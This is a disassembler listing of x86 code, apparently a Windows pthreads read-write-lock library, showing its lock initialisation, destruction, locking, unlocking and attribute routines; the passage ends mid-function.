sub_431BA0	proc near		; CODE XREF: sub_401852j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+14h]
		lea	ecx, [esi+4]
		neg	eax
		push	ecx
		mov	[esi+0Ch], eax
		mov	dword ptr [esi+14h], 0
		call	sub_4010C3
		push	esi
		call	sub_4010C3
		add	esp, 8
		pop	esi
		retn
sub_431BA0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431BE0	proc near		; CODE XREF: sub_401F73j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		xor	esi, esi
		test	eax, eax
		jnz	short loc_431BF2
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431BF2:				; CODE XREF: sub_431BE0+9j
		mov	eax, [esp+4+arg_4]
		push	ebx
		test	eax, eax
		push	edi
		jz	short loc_431C12
		cmp	dword ptr [eax], 0
		jz	short loc_431C12
		mov	ecx, [esp+0Ch+arg_0]
		mov	edi, 16h
		mov	eax, edi
		pop	edi
		mov	[ecx], esi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431C12:				; CODE XREF: sub_431BE0+1Aj
					; sub_431BE0+1Fj
		push	1Ch
		push	1
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_431C36
		mov	ecx, [esp+0Ch+arg_0]
		mov	edi, 0Ch
		mov	eax, edi
		pop	edi
		mov	[ecx], esi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431C36:				; CODE XREF: sub_431BE0+43j
		push	0
		push	esi
		mov	dword ptr [esi+0Ch], 0
		mov	dword ptr [esi+10h], 0
		mov	dword ptr [esi+14h], 0
		call	sub_402199
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jnz	short loc_431C94
		lea	ebx, [esi+4]
		push	eax
		push	ebx
		call	sub_402199
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jnz	short loc_431C8B
		push	eax
		lea	eax, [esi+8]
		push	eax
		call	sub_401541
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jz	short loc_431CAC
		push	ebx
		call	sub_40222F
		add	esp, 4


loc_431C8B:				; CODE XREF: sub_431BE0+8Dj
		push	esi
		call	sub_40222F
		add	esp, 4


loc_431C94:				; CODE XREF: sub_431BE0+7Aj
		push	esi
		nop
		call	near ptr 77C2C21Bh
		mov	ecx, [esp+10h+arg_0]
		add	esp, 4
		xor	esi, esi
		mov	eax, edi
		pop	edi
		mov	[ecx], esi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431CAC:				; CODE XREF: sub_431BE0+A0j
		mov	ecx, [esp+0Ch+arg_0]
		xor	edi, edi
		mov	eax, edi
		mov	dword ptr [esi+18h], 0FACADE2h
		pop	edi
		mov	[ecx], esi
		pop	ebx
		pop	esi
		retn
sub_431BE0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431D10:				; CODE XREF: ___:004018ACj
		mov	eax, [esp+4]
		push	ebx
		push	ebp
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		xor	ebp, ebp
		test	eax, eax
		jz	loc_431E4B
		mov	esi, [eax]
		test	esi, esi
		jz	loc_431E4B
		cmp	esi, 0FFFFFFFFh
		jz	loc_431E07
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	loc_431E4B
		push	esi
		call	sub_402225
		add	esp, 4
		test	eax, eax
		jnz	loc_431E50
		lea	edi, [esi+4]
		push	edi
		call	sub_402225
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jz	short loc_431D79
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_431D79:				; CODE XREF: ___:00431D67j
		mov	eax, [esi+10h]
		test	eax, eax
		jg	short loc_431DED
		mov	eax, [esi+0Ch]
		mov	ecx, [esi+14h]
		cmp	eax, ecx
		jg	short loc_431DED
		push	edi
		mov	dword ptr [esi+18h], 0
		call	sub_4010C3
		add	esp, 4
		mov	ebx, eax
		test	ebx, ebx
		push	esi
		jz	short loc_431DB0
		call	sub_4010C3
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_431DB0:				; CODE XREF: ___:00431D9Fj
		call	sub_4010C3
		add	esp, 4
		test	eax, eax
		jnz	loc_431E50
		mov	ecx, [esp+14h]
		lea	edx, [esi+8]
		push	edx
		mov	[ecx], eax
		call	sub_401A91
		push	edi
		mov	ebx, eax
		call	sub_40222F
		push	esi
		mov	edi, eax
		call	sub_40222F
		push	esi
		mov	ebp, eax
		call	near ptr 77C2C21Bh
		nop
		add	esp, 10h
		jmp	short loc_431E33
; ---------------------------------------------------------------------------


loc_431DED:				; CODE XREF: ___:00431D7Ej
					; ___:00431D88j
		push	edi
		call	sub_4010C3
		push	esi
		mov	ebx, eax
		call	sub_4010C3
		add	esp, 8
		mov	edi, eax
		mov	ebp, 10h
		jmp	short loc_431E33
; ---------------------------------------------------------------------------


loc_431E07:				; CODE XREF: ___:00431D33j
		push	offset dword_50E9A0
		nop
		call	near ptr 7C901005h
		mov	eax, [esp+14h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_431E23
		mov	dword ptr [eax], 0
		jmp	short loc_431E28
; ---------------------------------------------------------------------------


loc_431E23:				; CODE XREF: ___:00431E19j
		mov	ebx, 10h


loc_431E28:				; CODE XREF: ___:00431E21j
		push	offset dword_50E9A0
		nop
		call	near ptr 7C9010EDh


loc_431E33:				; CODE XREF: ___:00431DEBj
					; ___:00431E05j
		test	ebx, ebx
		jz	short loc_431E3E
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_431E3E:				; CODE XREF: ___:00431E35j
		test	edi, edi
		mov	eax, edi
		jnz	short loc_431E50
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_431E4B:				; CODE XREF: ___:00431D20j
					; ___:00431D2Aj ...
		mov	eax, 16h


loc_431E50:				; CODE XREF: ___:00431D51j
					; ___:00431DBAj ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 60h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431EC0:				; CODE XREF: ___:00401E88j
		push	esi
		push	4
		push	1
		xor	esi, esi
		nop
		call	near ptr 77C2C0C3h
		add	esp, 8
		test	eax, eax
		jnz	short loc_431EE3
		mov	edx, [esp+8]
		mov	ecx, 0Ch
		pop	esi
		mov	[edx], eax
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_431EE3:				; CODE XREF: ___:00431ED2j
		mov	ecx, [esp+8]
		mov	dword ptr [eax], 0
		mov	[ecx], eax
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431F10:				; CODE XREF: ___:00401794j
		mov	ecx, [esp+4]
		push	esi
		xor	esi, esi
		test	ecx, ecx
		jz	short loc_431F31
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_431F31
		push	eax
		mov	[ecx], esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431F31:				; CODE XREF: ___:00431F19j
					; ___:00431F1Fj
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431F50:				; CODE XREF: ___:00401136j
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_431F6D
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_431F6D
		mov	ecx, [esp+8]
		test	ecx, ecx
		jz	short loc_431F6D
		mov	eax, [eax]
		mov	[ecx], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_431F6D:				; CODE XREF: ___:00431F56j
					; ___:00431F5Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431F90:				; CODE XREF: ___:0040159Bj
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_431FBA
		mov	ecx, [eax]
		test	ecx, ecx
		jz	short loc_431FBA
		mov	eax, [esp+8]
		cmp	eax, 1
		jz	short loc_431FAE
		test	eax, eax
		jnz	short loc_431FBA
		mov	[ecx], eax
		retn
; ---------------------------------------------------------------------------


loc_431FAE:				; CODE XREF: ___:00431FA5j
		mov	eax, 28h
		mov	dword ptr [ecx], 0
		retn
; ---------------------------------------------------------------------------


loc_431FBA:				; CODE XREF: ___:00431F96j
					; ___:00431F9Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431FD0:				; CODE XREF: ___:00402077j
		push	ebx
		push	esi
		mov	esi, [esp+0Ch]
		push	edi
		test	esi, esi
		jz	loc_43208A
		mov	eax, [esi]
		test	eax, eax
		jz	loc_43208A
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_432004
		push	esi
		call	sub_40184D
		add	esp, 4
		test	eax, eax
		jz	short loc_432004
		cmp	eax, 10h
		jnz	loc_43208F


loc_432004:				; CODE XREF: ___:00431FECj
					; ___:00431FF9j
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	short loc_43208A
		push	esi
		call	sub_402225
		add	esp, 4
		test	eax, eax
		jnz	short loc_43208F
		mov	ecx, [esi+0Ch]
		inc	ecx
		mov	eax, ecx
		mov	[esi+0Ch], ecx
		cmp	eax, 7FFFFFFFh
		jnz	short loc_43207D
		lea	edi, [esi+4]
		push	edi
		call	sub_402225
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jz	short loc_43204D
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43204D:				; CODE XREF: ___:0043203Cj
		mov	eax, [esi+14h]
		mov	ebx, [esi+0Ch]
		sub	ebx, eax
		push	edi
		mov	[esi+0Ch], ebx
		mov	dword ptr [esi+14h], 0
		call	sub_4010C3
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_43207D
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43207D:				; CODE XREF: ___:0043202Aj
					; ___:0043206Cj
		push	esi
		call	sub_4010C3
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43208A:				; CODE XREF: ___:00431FD9j
					; ___:00431FE3j ...
		mov	eax, 16h


loc_43208F:				; CODE XREF: ___:00431FFEj
					; ___:0043201Aj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4320E0:				; CODE XREF: ___:0040169Aj
		push	ebx
		push	esi
		mov	esi, [esp+0Ch]
		push	edi
		test	esi, esi
		jz	loc_4321AF
		mov	eax, [esi]
		test	eax, eax
		jz	loc_4321AF
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_432114
		push	esi
		call	sub_40184D
		add	esp, 4
		test	eax, eax
		jz	short loc_432114
		cmp	eax, 10h
		jnz	loc_4321B4


loc_432114:				; CODE XREF: ___:004320FCj
					; ___:00432109j
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	loc_4321AF
		mov	ebx, [esp+14h]
		push	ebx
		push	esi
		call	sub_401BC2
		add	esp, 8
		test	eax, eax
		jnz	short loc_4321B4
		mov	ecx, [esi+0Ch]
		inc	ecx
		mov	eax, ecx
		mov	[esi+0Ch], ecx
		cmp	eax, 7FFFFFFFh
		jnz	short loc_4321A2
		lea	edi, [esi+4]
		push	ebx
		push	edi
		call	sub_401BC2
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jz	short loc_432172
		cmp	ebx, 274Ch
		jnz	short loc_432163
		inc	dword ptr [esi+14h]


loc_432163:				; CODE XREF: ___:0043215Ej
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_432172:				; CODE XREF: ___:00432156j
		mov	eax, [esi+14h]
		mov	ebx, [esi+0Ch]
		sub	ebx, eax
		push	edi
		mov	[esi+0Ch], ebx
		mov	dword ptr [esi+14h], 0
		call	sub_4010C3
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_4321A2
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4321A2:				; CODE XREF: ___:00432143j
					; ___:00432191j
		push	esi
		call	sub_4010C3
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4321AF:				; CODE XREF: ___:004320E9j
					; ___:004320F3j ...
		mov	eax, 16h


loc_4321B4:				; CODE XREF: ___:0043210Ej
					; ___:00432133j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432200:				; CODE XREF: ___:004015C8j
		sub	esp, 0Ch
		push	ebp
		push	esi
		mov	esi, [esp+18h]
		push	edi
		test	esi, esi
		jz	loc_4322F6
		mov	eax, [esi]
		test	eax, eax
		jz	loc_4322F6
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_432237
		push	esi
		call	sub_40184D
		add	esp, 4
		test	eax, eax
		jz	short loc_432237
		cmp	eax, 10h
		jnz	loc_4322FB


loc_432237:				; CODE XREF: ___:0043221Fj
					; ___:0043222Cj
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	loc_4322F6
		push	esi
		call	sub_402225
		add	esp, 4
		test	eax, eax
		jnz	loc_4322FB
		lea	ebp, [esi+4]
		push	ebp
		call	sub_402225
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_43227B
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_43227B:				; CODE XREF: ___:00432267j
		mov	eax, [esi+10h]
		test	eax, eax
		jnz	short loc_4322EA
		mov	eax, [esi+14h]
		test	eax, eax
		jle	short loc_432298
		mov	ecx, [esi+0Ch]
		mov	dword ptr [esi+14h], 0
		sub	ecx, eax
		mov	[esi+0Ch], ecx


loc_432298:				; CODE XREF: ___:00432287j
		mov	eax, [esi+0Ch]
		test	eax, eax
		jle	short loc_4322EA
		neg	eax
		push	ebx
		mov	[esi+14h], eax
		push	esi
		lea	eax, [esp+14h]
		push	offset sub_401852
		push	eax
		call	sub_401659
; ---------------------------------------------------------------------------
		add	esp, 0Ch
		lea	ebx, [esi+8]


loc_4322BB:				; CODE XREF: ___:004322D0j
		push	ebp
		push	ebx
		call	sub_401203
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jnz	short loc_4322D2
		mov	eax, [esi+14h]
		test	eax, eax
		jl	short loc_4322BB


loc_4322D2:				; CODE XREF: ___:004322C9j
		xor	ecx, ecx
		test	edi, edi
		setnz	cl
		push	ecx
		call	sub_401122
; ---------------------------------------------------------------------------
		add	esp, 4
		test	edi, edi
		pop	ebx
		jnz	short loc_4322ED
		mov	[esi+0Ch], edi


loc_4322EA:				; CODE XREF: ___:00432280j
					; ___:0043229Dj
		inc	dword ptr [esi+10h]


loc_4322ED:				; CODE XREF: ___:004322E5j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_4322F6:				; CODE XREF: ___:0043220Cj
					; ___:00432216j ...
		mov	eax, 16h


loc_4322FB:				; CODE XREF: ___:00432231j
					; ___:00432251j
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432360:				; CODE XREF: ___:00401951j
		sub	esp, 0Ch
		push	ebp
		push	esi
		mov	esi, [esp+18h]
		push	edi
		test	esi, esi
		jz	loc_432461
		mov	eax, [esi]
		test	eax, eax
		jz	loc_432461
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_432397
		push	esi
		call	sub_40184D
		add	esp, 4
		test	eax, eax
		jz	short loc_432397
		cmp	eax, 10h
		jnz	loc_432466


loc_432397:				; CODE XREF: ___:0043237Fj
					; ___:0043238Cj
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	loc_432461
		mov	edi, [esp+20h]
		push	edi
		push	esi
		call	sub_401BC2
		add	esp, 8
		test	eax, eax
		jnz	loc_432466
		lea	ebp, [esi+4]
		push	edi
		push	ebp
		call	sub_401BC2
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jz	short loc_4323E1
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_4323E1:				; CODE XREF: ___:004323CDj
		mov	eax, [esi+10h]
		test	eax, eax
		jnz	short loc_432455
		mov	eax, [esi+14h]
		test	eax, eax
		jle	short loc_4323FE
		mov	ecx, [esi+0Ch]
		mov	dword ptr [esi+14h], 0
		sub	ecx, eax
		mov	[esi+0Ch], ecx


loc_4323FE:				; CODE XREF: ___:004323EDj
		mov	eax, [esi+0Ch]
		test	eax, eax
		jle	short loc_432455
		neg	eax
		push	ebx
		mov	[esi+14h], eax
		push	esi
		lea	eax, [esp+14h]
		push	offset sub_401852
		push	eax
		call	sub_401659
; ---------------------------------------------------------------------------
		add	esp, 0Ch
		lea	ebx, [esi+8]


loc_432421:				; CODE XREF: ___:0043243Bj
		mov	ecx, [esp+24h]
		push	ecx
		push	ebp
		push	ebx
		call	sub_4011E0
		mov	edi, eax
		add	esp, 0Ch
		test	edi, edi
		jnz	short loc_43243D
		mov	eax, [esi+14h]
		test	eax, eax
		jl	short loc_432421


loc_43243D:				; CODE XREF: ___:00432434j
		xor	edx, edx
		test	edi, edi
		setnz	dl
		push	edx
		call	sub_401122
; ---------------------------------------------------------------------------
		add	esp, 4
		test	edi, edi
		pop	ebx
		jnz	short loc_432458
		mov	[esi+0Ch], edi


loc_432455:				; CODE XREF: ___:004323E6j
					; ___:00432403j
		inc	dword ptr [esi+10h]


loc_432458:				; CODE XREF: ___:00432450j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_432461:				; CODE XREF: ___:0043236Cj
					; ___:00432376j ...
		mov	eax, 16h


loc_432466:				; CODE XREF: ___:00432391j
					; ___:004323B6j
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4324C0:				; CODE XREF: ___:004015BEj
		mov	eax, [esp+4]
		push	ebx
		push	esi
		push	edi
		test	eax, eax
		jz	short loc_432546
		mov	esi, [eax]
		test	esi, esi
		jz	short loc_432546
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4324DC
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4324DC:				; CODE XREF: ___:004324D4j
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	short loc_432546
		mov	eax, [esi+10h]
		test	eax, eax
		jnz	short loc_432524
		lea	ebx, [esi+4]
		push	ebx
		call	sub_402225
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_432502
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_432502:				; CODE XREF: ___:004324FCj
		mov	eax, [esi+14h]
		inc	eax
		mov	[esi+14h], eax
		jnz	short loc_432519
		add	esi, 8
		push	esi
		call	sub_401E51
		add	esp, 4
		mov	edi, eax


loc_432519:				; CODE XREF: ___:00432509j
		push	ebx
		call	sub_4010C3
		add	esp, 4
		jmp	short loc_43253C
; ---------------------------------------------------------------------------


loc_432524:				; CODE XREF: ___:004324EAj
		dec	eax
		mov	[esi+10h], eax
		lea	eax, [esi+4]
		push	eax
		call	sub_4010C3
		push	esi
		mov	edi, eax
		call	sub_4010C3
		add	esp, 8


loc_43253C:				; CODE XREF: ___:00432522j
		test	edi, edi
		jz	short loc_43254B
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_432546:				; CODE XREF: ___:004324C9j
					; ___:004324CFj ...
		mov	eax, 16h


loc_43254B:				; CODE XREF: ___:0043253Ej
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432580:				; CODE XREF: ___:00401532j
		push	ebx
		push	esi
		mov	esi, [esp+0Ch]
		push	edi
		test	esi, esi
		jz	loc_43263A
		mov	eax, [esi]
		test	eax, eax
		jz	loc_43263A
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4325B4
		push	esi
		call	sub_40184D
		add	esp, 4
		test	eax, eax
		jz	short loc_4325B4
		cmp	eax, 10h
		jnz	loc_43263F


loc_4325B4:				; CODE XREF: ___:0043259Cj
					; ___:004325A9j
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	short loc_43263A
		push	esi
		call	sub_40177B
		add	esp, 4
		test	eax, eax
		jnz	short loc_43263F
		mov	ecx, [esi+0Ch]
		inc	ecx
		mov	eax, ecx
		mov	[esi+0Ch], ecx
		cmp	eax, 7FFFFFFFh
		jnz	short loc_43262D
		lea	edi, [esi+4]
		push	edi
		call	sub_402225
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jz	short loc_4325FD
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4325FD:				; CODE XREF: ___:004325ECj
		mov	eax, [esi+14h]
		mov	ebx, [esi+0Ch]
		sub	ebx, eax
		push	edi
		mov	[esi+0Ch], ebx
		mov	dword ptr [esi+14h], 0
		call	sub_4010C3
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_43262D
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43262D:				; CODE XREF: ___:004325DAj
					; ___:0043261Cj
		push	esi
		call	sub_4010C3
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43263A:				; CODE XREF: ___:00432589j
					; ___:00432593j ...
		mov	eax, 16h


loc_43263F:				; CODE XREF: ___:004325AEj
					; ___:004325CAj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432690:				; CODE XREF: ___:00401FD2j
		push	ebx
		push	esi
		mov	esi, [esp+0Ch]
		push	edi
		test	esi, esi
		jz	loc_432771
		mov	eax, [esi]
		test	eax, eax
		jz	loc_432771
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4326C4
		push	esi
		call	sub_40184D
		add	esp, 4
		test	eax, eax
		jz	short loc_4326C4
		cmp	eax, 10h
		jnz	loc_432776


loc_4326C4:				; CODE XREF: ___:004326ACj
					; ___:004326B9j
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	loc_432771
		push	esi
		call	sub_40177B
		add	esp, 4
		test	eax, eax
		jnz	loc_432776
		lea	ebx, [esi+4]
		push	ebx
		call	sub_40177B
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_432709
		push	esi
		call	sub_4010C3
		add	esp, 4
		test	eax, eax
		jnz	short loc_432776
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_432709:				; CODE XREF: ___:004326F4j
		mov	eax, [esi+10h]
		test	eax, eax
		jnz	short loc_432759
		mov	eax, [esi+14h]
		test	eax, eax
		jle	short loc_432726
		mov	ecx, [esi+0Ch]
		mov	dword ptr [esi+14h], 0
		sub	ecx, eax
		mov	[esi+0Ch], ecx


loc_432726:				; CODE XREF: ___:00432715j
		mov	eax, [esi+0Ch]
		test	eax, eax
		jle	short loc_432764
		push	ebx
		call	sub_4010C3
		add	esp, 4
		mov	edi, eax
		test	edi, edi
		push	esi
		jz	short loc_43274B
		call	sub_4010C3
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43274B:				; CODE XREF: ___:0043273Bj
		call	sub_4010C3
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jnz	short loc_43275E


loc_432759:				; CODE XREF: ___:0043270Ej
		mov	edi, 10h


loc_43275E:				; CODE XREF: ___:00432757j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_432764:				; CODE XREF: ___:0043272Bj
		mov	eax, edi
		mov	dword ptr [esi+10h], 1
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_432771:				; CODE XREF: ___:00432699j
					; ___:004326A3j ...
		mov	eax, 16h


loc_432776:				; CODE XREF: ___:004326BEj
					; ___:004326DEj ...
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4327C0:				; CODE XREF: ___:00401BF9j
		mov	eax, [esp+4]
		push	eax
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jz	short loc_4327D7
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------


loc_4327D7:				; CODE XREF: ___:004327CFj
		mov	eax, [esp+8]
		neg	eax
		sbb	eax, eax
		and	eax, 30h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432800:				; CODE XREF: ___:00401E97j
		mov	eax, [esp+4]
		push	eax
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jnz	short loc_432827
		mov	eax, [esp+8]
		test	eax, eax
		jz	short loc_432827
		cmp	eax, 2
		jbe	short loc_432827
		mov	dword ptr [eax], 0
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_432827:				; CODE XREF: ___:0043280Fj
					; ___:00432817j ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432840:				; CODE XREF: ___:0040117Cj
		push	ebx
		mov	ebx, [esp+8]
		push	esi
		push	edi
		push	ebx
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jnz	short loc_432886
		mov	edi, [esp+14h]
		test	edi, edi
		jz	short loc_432886
		mov	esi, [edi]
		push	eax
		call	sub_40154B
		add	esp, 4
		cmp	esi, eax
		jl	short loc_432886
		push	0
		call	sub_401438
		add	esp, 4
		cmp	esi, eax
		jg	short loc_432886
		mov	eax, [ebx]
		mov	ecx, [edi]
		pop	edi
		pop	esi
		mov	[eax+10h], ecx
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_432886:				; CODE XREF: ___:00432852j
					; ___:0043285Aj ...
		pop	edi
		pop	esi
		mov	eax, 16h
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4328B0:				; CODE XREF: ___:00401EDDj
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jnz	short loc_4328D5
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short loc_4328D5
		mov	ecx, [esi]
		pop	esi
		mov	edx, [ecx+10h]
		mov	[eax], edx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4328D5:				; CODE XREF: ___:004328C0j
					; ___:004328C8j
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4328F0:				; CODE XREF: ___:004015B4j
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jz	short loc_432909
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432909:				; CODE XREF: ___:00432900j
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short loc_43291D
		cmp	eax, 1
		jz	short loc_43291D
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_43291D:				; CODE XREF: ___:0043290Fj
					; ___:00432914j
